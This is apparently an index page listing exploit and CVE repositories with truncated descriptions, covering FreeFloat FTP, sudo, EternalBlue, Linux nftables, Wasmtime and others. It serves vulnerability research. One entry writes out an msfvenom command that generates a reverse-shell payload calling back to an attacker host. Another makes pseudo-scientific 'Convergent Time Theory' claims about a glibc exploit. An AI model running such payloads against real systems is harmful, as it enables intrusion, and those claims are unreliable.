CVE-2025-5548

🛡️ CVE-2025-5548 – FreeFloat FTP Server Buffer Overflow Exploit 📌 Overview This repository documents the discovery and exploitation of a stack-based buffer overflow vulnerability in the FreeFloat FTP Server application. The vulnerability resides in the handling of the USER command, where unsafe...

CVE-2021-3156

CVE-2021-3156 Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via sudoedit -s and a command-line argument that ends with a single backslash character. Credit to: Advisory by Baron Samedit of Qualys How to...

Pwn ARM NFC

Challenge ARM buffer overflow via NFC tag This project is an open-source and funny to make low-level challenge. Feel free to improve it or use it in your own projects. Each file is distributed "as is" in the hope that it will be useful, but without any warranty expressed or implied. File tree...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 exploit inspired by https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 STEP 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

CVE-2026-114645

A 32-bit integer wraparound in the MongoDB C Driver's Windows-only Kerberos/SSPI authentication code can cause an undersized heap buffer to be allocated when an excessively long credential value is supplied in the client's connection configuration. A party able to control that client-side...

EUVD-2026-108311

Wasmtime 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 contains a stack buffer overflow vulnerability that allows malicious guests to write 16KB to the native stack via unvalidated async callback result types. Attackers can supply components with mistyped component-model-async callback functions ...

CVE-2026-115384

Wasmtime versions 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 are vulnerable to a stack buffer overflow . The root cause is the use of unvalidated async callback result types , which allows malicious guests to write approximately 16KB to the native stack. An attacker can provide components with...

EUVD-2026-108307

A 32-bit integer wraparound in the MongoDB C Driver's Windows-only Kerberos/SSPI authentication code can cause an undersized heap buffer to be allocated when an excessively long credential value is supplied in the client's connection configuration. A party able to control that client-side...

CVE-2026-114645

A 32-bit integer wraparound in the MongoDB C Driver's Windows-only Kerberos/SSPI authentication code can cause an undersized heap buffer to be allocated when an excessively long credential value is supplied in the client's connection configuration. A party able to control that client-side...

MS17-010

MS17-010 This repository is for public my work on MS17-010. I have no plan to do any support. All support issues will not get response from me. Files BUG.txt MS17-010 bug detail and some analysis checker.py Script for finding accessible named pipe eternalblueexploit7.py Eternalblue exploit for...

S5Late

S5Late Tethered iPod bootrom/DFU exploit. Currently only supports Nano 7G, to support Nano 6G offsets need to be updated. Running Put your iPod into DFU mode. Then run: ./S5Late hax 2024-12-15T23:11:34Z INFO S5Late We found an Apple Device in DFU mode. 2024-12-15T23:11:34Z INFO S5Late Succesfully...

DiagSpill

DiagSpill CVE-2026-74469 Writeup !WARNING The PoC is provided solely to help defenders, maintainers, and authorized security teams validate patches, mitigations, detections, and exposure on systems they own or are explicitly authorized to test. You are solely responsible for ensuring that your us...

CTT-Vsyslog-Vortex-CVE-2023-6246

CTT-Vsyslog-Vortex-CVE-2023-6246 CVE-2023-6246 glibc vsysloginternal heap buffer overflow exploitation using Convergent Time Theory α = 0.0302011. 33-layer temporal heap spray + phase-locked trigger for reliable local privilege escalation. README.md CTT-Vsyslog-Vortex Temporal Resonance Exploit f...

CVE-2002-1120

🐞 CVE-2002-1120: Savant Web Server 3.1 - Stack-Based Buffer Overflow Egghunter Classic stack-based buffer overflow in Savant Web Server 3.1 demonstrating early-2000s remote memory corruption through a crafted HTTP request a 2002 vulnerability that demands more from a beginner than most buffer...

CVE-2021-1965

CVE-2021-1965 CVE-2021-1965 WiFi Zero Click RCE Trigger PoC This is a quick&dirty Proof-of-Concept code to verify if your phone is vulnerable. After running the poc code, your phone is supposed to crash&reboot within seconds. In case you need more info about the bug & vulnerable code, here you ar...

CVE-2023-0179-PoC

Needle CVE-2023-0179 exploit This repository contains the exploit for my recently discovered vulnerability in the nftables subsystem that was assigned CVE-2023-0179, affecting all Linux versions from 5.5 to 6.2-rc3, although the exploit was tested on 6.1.6. The vulnerability details and writeup c...

CVE-2026-42945

CVE-2026-42945 Security Detection Tool This is a CVE-2026-42945 static detection tool for defense and internal network investigation, used to check whether there are high-risk rewrite combinations in NGINX ngxhttprewritemodule related configurations. This project does not provide exploit code, do...

Bropper

BROPPER An automatic Blind ROP exploitation python tool Abstract BROP Blind ROP was a technique found by Andrew Bittau from Stanford in 2014. Original paper Slides Most servers like nginx, Apache, MySQL, forks then communicates with the client. This means canary and addresses stay the same even i...

PoC-CVE-2022-26809

PoC-CVE-2022-26809 PoC for CVE-2022-26809, analisys and considerations are shown in the github.io. The PoC has been writtin overriding Impacket functions. Tested with: impacket version 0.10.0 The PoC has not been fully tested, because it should trigger the vulnerability, i.e integer overflow, tha...

CVE-2025-5548

🧪 FreeFloat FTP Server Buffer Overflow Lab CVE-2025-5548 📌 Description This lab demonstrates how to exploit a Stack Buffer Overflow vulnerability in FreeFloat FTP Server , identified as CVE-2025-5548. The objective is to understand the complete exploitation process on vulnerable Windows...